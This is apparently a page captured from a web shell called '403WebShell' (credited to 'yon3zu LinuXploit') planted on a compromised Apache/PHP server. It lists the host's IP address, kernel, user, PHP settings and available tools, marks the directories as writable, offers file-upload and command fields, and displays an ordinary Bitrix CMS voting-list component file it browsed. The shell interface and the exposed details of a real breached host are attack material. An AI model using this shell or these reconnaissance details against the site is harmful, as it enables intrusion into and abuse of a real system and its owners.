%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.227.183.131
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/voting.list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/voting.list/component.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)	die();
if (!CModule::IncludeModule("vote")): 
	ShowError(GetMessage("VOTE_MODULE_IS_NOT_INSTALLED"));
	return;
endif;
/********************************************************************
				Input params
********************************************************************/
/************** BASE ***********************************************/
if (is_array($arParams["CHANNEL_SID"])):
	$arr = array();
	foreach ($arParams["CHANNEL_SID"] as $v):
		$v = trim(str_replace("-", "", $v));
		$v = (preg_match("~^[A-Za-z0-9_]+$~", $v) ? $v : "");
		if ($v <> ''):
			$arr[] = $v;
		endif;
	endforeach;
	$arParams["CHANNEL_SID"] = "";
	if (!empty($arr)):
		$arParams["CHANNEL_SID"] = $arr;
	endif;
else:
	$arParams["CHANNEL_SID"] = trim(str_replace("-", "", $arParams["CHANNEL_SID"]));
	$arParams["CHANNEL_SID"] = (preg_match("~^[A-Za-z0-9_]+$~", $arParams["CHANNEL_SID"]) ? $arParams["CHANNEL_SID"] : "");
endif;
/************** URL ************************************************/
	$URL_NAME_DEFAULT = array(
		"vote_form" => "PAGE_NAME=vote_new&VOTE_ID=#VOTE_ID#",
		"vote_result" => "PAGE_NAME=vote_result&VOTE_ID=#VOTE_ID#");
	foreach ($URL_NAME_DEFAULT as $URL => $URL_VALUE):
		if (trim($arParams[mb_strtoupper($URL)."_TEMPLATE"]) == '')
			$arParams[mb_strtoupper($URL)."_TEMPLATE"] = $APPLICATION->GetCurPage()."?".$URL_VALUE;
		$arParams["~".mb_strtoupper($URL)."_TEMPLATE"] = $arParams[mb_strtoupper($URL)."_TEMPLATE"];
		$arParams[mb_strtoupper($URL)."_TEMPLATE"] = htmlspecialcharsbx($arParams["~".mb_strtoupper($URL)."_TEMPLATE"]);
	endforeach;
/********************************************************************
				/Input params
********************************************************************/

/********************************************************************
				Data
********************************************************************/
$arResult["VOTES"] = array();
$arResult["NAV_STRING"] = "";

$db_res = GetVoteList($arParams["CHANNEL_SID"],
	array(
		"bDescPageNumbering" => false,
		"nPageSize" => 10,
		"bShowAll" => false
	)
);
$channelID = false;
if ($db_res)
{
	$arResult["NAV_STRING"] = $db_res->GetPageNavString(GetMessage("VOTE_PAGES"));
	$votedUser = \Bitrix\Vote\User::getCurrent();
	while ($res = $db_res->Fetch())
	{
		$channelID = ($channelID ?: $res["CHANNEL_ID"]);
		$res["USER_ALREADY_VOTE"] = ($votedUser->isVotedFor($res["ID"]) ? "Y" : "N");
		$res["URL"] = array(
				"~VOTE_RESULT" => CComponentEngine::makePathFromTemplate($arParams["~VOTE_RESULT_TEMPLATE"], array("VOTE_ID" => $res["ID"])),
				"~VOTE_FORM" => CComponentEngine::makePathFromTemplate($arParams["~VOTE_FORM_TEMPLATE"], array("VOTE_ID" => $res["ID"])),
				"VOTE_RESULT" => CComponentEngine::makePathFromTemplate($arParams["VOTE_RESULT_TEMPLATE"], array("VOTE_ID" => $res["ID"])),
				"VOTE_FORM" => CComponentEngine::makePathFromTemplate($arParams["VOTE_FORM_TEMPLATE"], array("VOTE_ID" => $res["ID"])));
		$res["IMAGE"] = CFile::GetFileArray($res["IMAGE_ID"]);
		// For custom 
		foreach ($res["URL"] as $key => $val):
			$res[$key."_URL"] = $val;
		endforeach;
		$res["TITLE"] = htmlspecialcharsEx($res["TITLE"]);
		if ($res['DESCRIPTION_TYPE'] == 'text')
			$res['DESCRIPTION'] = htmlspecialcharsbx($res['DESCRIPTION']);
		$arResult["VOTES"][$res["ID"]] = $res;
	}
}
/********************************************************************
				/Data
********************************************************************/

if ($channelID && $GLOBALS["APPLICATION"]->GetGroupRight("vote") == "W" && CModule::IncludeModule("intranet") && is_object($GLOBALS['INTRANET_TOOLBAR']))
{
	$GLOBALS['INTRANET_TOOLBAR']->AddButton(array(
		'TEXT' => GetMessage("comp_voting_list_add"),
		'TITLE' => GetMessage("comp_voting_list_add_title"),
		'ICON' => 'add',
		'HREF' => '/bitrix/admin/vote_edit.php?lang='.LANGUAGE_ID."&CHANNEL_ID=".$channelID,
		'SORT' => '100',
	));
	$GLOBALS['INTRANET_TOOLBAR']->AddButton(array(
		'TEXT' => GetMessage("comp_voting_list_list"),
		'TITLE' => GetMessage("comp_voting_list_list_title"),
		'ICON' => 'settings',
		'HREF' => '/bitrix/admin/vote_list.php?lang='.LANGUAGE_ID."&find_channel_id=".$channelID,
		'SORT' => '200',
	));
}
	
$this->IncludeComponentTemplate();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit